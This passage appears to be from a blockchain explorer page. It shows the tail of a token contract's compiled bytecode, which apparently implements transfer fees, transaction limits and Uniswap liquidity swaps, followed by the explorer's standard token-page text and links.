1b0383165f908152600e602052604090205460ff165b8015610b5957506003548210155b15610b6657610b66610d84565b6001600160a01b0384163014801590610b8857506001600160a01b0383163014155b8015610ba157505f546001600160a01b03858116911614155b15610bee57610bb1848484610dea565b610bee5760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b604482015260640161048d565b5f610bfa858585610ead565b90505f610c0782856113fa565b6001600160a01b0387165f90815260056020526040812080549293508692909190610c339084906113fa565b9091555050305f9081526005602052604081208054849290610c56908490611478565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c82908490611478565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cce91815260200190565b60405180910390a350600195945050505050565b610ceb82610f9e565b600954600c5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610d58573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d7d919061148b565b5050505050565b600f805461ff001916610100179055305f9081526005602052604090205460035481118015610db55750600f5460ff165b15610dd1576004548110610dc857506004545b610dd181611040565b47610ddb81611146565b5050600f805461ff0019169055565b600f545f9060019060ff168015610e1957506001600160a01b0385165f9081526008602052604090205460ff16155b8015610e3d57506001600160a01b0384165f9081526008602052604090205460ff16155b1561051f57600154831115610e5357505f61051f565b6001600160a01b0384165f908152600e602052604090205460ff16158015610e9e57506002546001600160a01b0385165f90815260056020526040902054610e9c908590611478565b115b1561051f57505f949350505050565b600f545f90819060ff161580610eda57506001600160a01b0385165f9081526007602052604090205460ff165b80610efc57506001600160a01b0384165f9081526007602052604090205460ff165b15610f0857505f61051f565b6001600160a01b0385165f908152600e602052604090205460ff1615610f52575f54606490610f4190600160a81b900460ff16856113e3565b610f4b91906114b6565b905061051f565b6001600160a01b0384165f908152600e602052604090205460ff161561051f575f54606490610f8b90600160a01b900460ff16856113e3565b610f9591906114b6565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561103d57305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b61104981610f9e565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107c5761107c6114d5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110d0576110d06114d5565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111159085905f908690309042906004016114e9565b5f604051808303815f87803b15801561112c575f80fd5b505af115801561113e573d5f803e3d5ffd5b505050505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561117d573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111ad57858101830151858201604001528201611191565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461103d575f80fd5b5f80604083850312156111f2575f80fd5b82356111fd816111cd565b946020939093013593505050565b5f805f6060848603121561121d575f80fd5b8335611228816111cd565b92506020840135611238816111cd565b929592945050506040919091013590565b803560ff81168114611259575f80fd5b919050565b5f806040838503121561126f575f80fd5b61127883611249565b915061128660208401611249565b90509250929050565b5f6020828403121561129f575f80fd5b8135610954816111cd565b5f80604083850312156112bb575f80fd5b82356112c6816111cd565b915060208301356112d6816111cd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561132f57815f1904821115611315576113156112e1565b8085161561132257918102915b93841c93908002906112fa565b509250929050565b5f8261134557506001610422565b8161135157505f610422565b816001811461136757600281146113715761138d565b6001915050610422565b60ff841115611382576113826112e1565b50506001821b610422565b5060208310610133831016604e8410600b84101617156113b0575081810a610422565b6113ba83836112f5565b805f19048211156113cd576113cd6112e1565b029392505050565b5f61095460ff841683611337565b8082028115828204841417610422576104226112e1565b81810381811115610422576104226112e1565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f60208284031215611454575f80fd5b8151610954816111cd565b60ff8181168382160190811115610422576104226112e1565b80820180821115610422576104226112e1565b5f805f6060848603121561149d575f80fd5b8351925060208401519150604084015190509250925092565b5f826114d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115395784516001600160a01b031683529383019391830191600101611514565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200d66c1f0126fd07c297cd096b9725179e7f4d20384f06faa0f1c36bdbb779a3064736f6c63430008180033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)